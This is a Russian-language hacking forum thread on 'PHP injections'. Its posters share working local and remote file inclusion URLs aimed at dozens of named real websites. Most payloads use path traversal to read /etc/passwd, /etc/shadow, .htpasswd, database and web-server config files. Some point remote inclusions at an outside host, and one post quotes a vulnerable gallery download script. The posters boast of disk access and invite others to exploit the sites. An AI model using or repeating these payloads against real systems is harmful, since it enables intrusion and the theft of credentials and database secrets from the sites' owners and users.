php- иньекции

Код:

http://www.uml.edu.ua/index.php?page=../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00

 

Код:

http://www.kmb.hk/english.php?page=search&prog=../../../../etc/passwd

Код:

http://www.novum-polska.pl/_dodruku.php?incfile=../../../../../../../usr/local/apache/conf/httpd.conf

Код:

http://www.script.com.ua/dev/materials.php?id=../../../../../../etc/passwd
http://trapeza.com.ua/_dp/view2.php?file=../../../../etc/shadow
http://www.automuna.com.ua/html/static.php?file=../../../../../etc/passwd

 

Код:

http://www.kvikhalden.no/start.asp?url=https://xaker.name/&lag=1

 

Код:

http://www.cirkel.de/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.i-ped.de/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.motorrad-guenther.de/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.calorplast.de/ibase/zubehoer/download.php?filename=../config/config_db.php

 

Из той же серии:

Код:

http://www.car-parts-kuhn.de/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.trinx.info/ibase/zubehoer/%20download.php?filename=../config/config_db.php
http://www.sportcollege.de/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.liscop.com/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.medienbinder.de/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.suk-awd.de/ibase/zubehoer/download.php?filename=../config/config_db.php
http://www.cpk-automotive.com/ibase/zubehoer/download.php?filename=../config/config_db.php

 

Код:

http://www.extramebel.ru/install/update/install.php?SysValue[file][error]=../../../../etc/passwd
http://www.extramebel.ru/install/update/install.php?SysValue[file][error]=/phpshop/inc/config.ini

 

UnHidden Content:

http://musora.org/e107_plugins/my_gallery/dload.php?file=dload.php
http://milw0rm.com/exploits/5308
Можно ли что-нибудь интересное выудить ?
Вот что скачивается.

Код:

<?php
/*
+ ----------------------------------------------------------------------------------------------+
|     e107 website system  : http://e107.org.ru
|     Released under the terms and conditions of the GNU General Public License (http://gnu.org).
|
|     Plugin "my_gallery"
|     Author: Alex ANP alex-anp@ya.ru
|     Home page: http://e107.seafoxy.ru
|				 http://e107plugins.blogspot.com
+-----------------------------------------------------------------------------------------------+
*/

$file = $_GET['file'];
$date_txt = date("y-m-d_H-i-s");
$text = "Content-Disposition: attachment; filename=".$_SERVER["SERVER_NAME"]."_e107_my_gallery_".$date_txt.".jpg";
header('Content-type: image/jpeg');
header($text);
readfile($file);
?>

Какой никакой, а инклуд.

 

http://kitezh.carnage.ru/
Как на счет этого?

 

Код:

http://www.paintballgame.cz/english/index.php?left=https://xaker.name
http://www.paintballgame.cz/english/index.php?left=https://xaker.name&mainpage=https://xaker.name&down=https://xaker.name

 

Разгребал мусор на компе, наткнулся на несколько рабочих инжектов.

UnHidden Content:

Код:

 http://www.minprom.bashkortostan.ru/__print.php?link=[CAUT]
http://www.immovent.ch/index2.php?main=[CAUT]
http://www.serviceformulaire.fr/html/menu.phtml?page=[CAUT]
http://iron-brigade.org/btech/html/page.php?fichier=[CAUT]
http://www.rabotnitsa.ru/part.php?useparam=[CAUT]
http://www.eloduna.hu/index.php?page=[CAUT]
http://www.minprom.bashkortostan.ru/_sfera.php?link=[CAUT]
http://www.exiledfear.com/?q=[CAUT]
http://greatriverloghomes.com/start.php?p=[CAUT]
http://www.reflectas.com.au/index.php?page=[CAUT]
http://www.faller.de/start.php?lang=dt&naviUp=6&naviDown=5&page=[CAUT]
http://www.whs-leipzig.de/index.php?menue=Projekte&content=main.html&subcontent=[CAUT]
http://www.ekd.de/staatskirchenrecht/suche/display.php3?Datei=[CAUT]
http://www.dan-marius.ro/navigare.php?ce=prozaSF&care=furnizorul_de_vise&limba=romana&obiect=[CAUT]
http://www.reflectas.com.au/index.php?page=[CAUT]

Код:

www.faller.de/

- есть доступ на диск с

Код:

www.eloduna.hu/-

а через этот сайт есть доступ к другим сайтам

юзаем на здоровье

 

Код:

http://www.hc-avto.ru/?dir=../.htpasswd
http://www.hc-avto.ru/?dir=.htaccess
http://www.hc-avto.ru/?dir=../../../../etc/passwd

МСКл конфиг нашел с помощью своего скрипта

Код:

http://www.hc-avto.ru/?dir=../../../../etc/mysql/my.cnf

 

Хех, в теме в разделе соц. инж. ссылочку на тест выложли, без левой мысли перешол, по тестикам поклацал, удивил запрос в ссылке, я по привычке..., но при измении параметра ничего особого не вылазило, кроме небольшой надписи красным "can't load file" на фоне новости... копнул глубже...
Позже попробую найти и заинклудить логи...

Код:

http://test.msk.ru/cgi-bin/razdel.cgi?../../../../etc/passwd%00

Добавлено через 2 часа 10 минут
Хопля, вот и попались дядьки, уязвимость равноценна команде "ls-la" и даже пожещще...

Код:

http://test.msk.ru/cgi-bin/razdel.cgi?../../../../usr/local/www/postfixadmin%00

 

Код:

http://www.dentalhealth.org.uk/index.php?w=../../../../../../etc/passwd%00

Код:

http://cartxpress.info/catalog/filemanager.php?file=../../../../../../../../etc/passwd

 

Код:

http://www.talk1410.com/shows.php?p=../../../etc/passwd

 

Код:

http://www.jedit.org/index.php?page=../../../../../../../../../etc/passwd%00

Добавлено через 8 часов 32 минуты

Код:

http://www.waza.org/ethics/index.php?main=ethics&view=../../../../../etc/passwd%00

Добавлено через 8 часов 43 минуты

Код:

http://www.aseanfoundation.org/index2.php?main=../../../../../../../etc/passwd

Добавлено через 8 часов 49 минут

Код:

http://www.ict4dasean.org/index2.php?main=../../../../../etc/passwd

Добавлено через 11 часов 6 минут

Код:

http://www.iphoneapps.ru/images/vpn/db.php?show=../../../../../../../../../../../etc/passwd

 

Код:

http://www.jedit.org/index.php?page=../../../../../../../../../../../../../../../../../../../../../etc/passwd%00

Код:

http://www.serviceandinclusion.org/index.php?page=../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00

 

Код:

http://www.peek.org/bryan/game/dnd.php?p=../../../../../../../../etc/passwd%00

 

Код:

http://www.salonmechta.ru/view.php?page=../../../../../etc/passwd%00

 

Код:

http://www.cyclingnews.com/tech.php?id=../../../../etc/passwd%00

PR 7 тиц 130

 

Код:

http://unjust-enrichment.com/index.php?p=../../etc/passwd

Код:

http://starpioneers.co.uk/index.php?p=../../../../etc/passwd

Код:

http://archiv.warhog.net/legento/index.php?p=index.php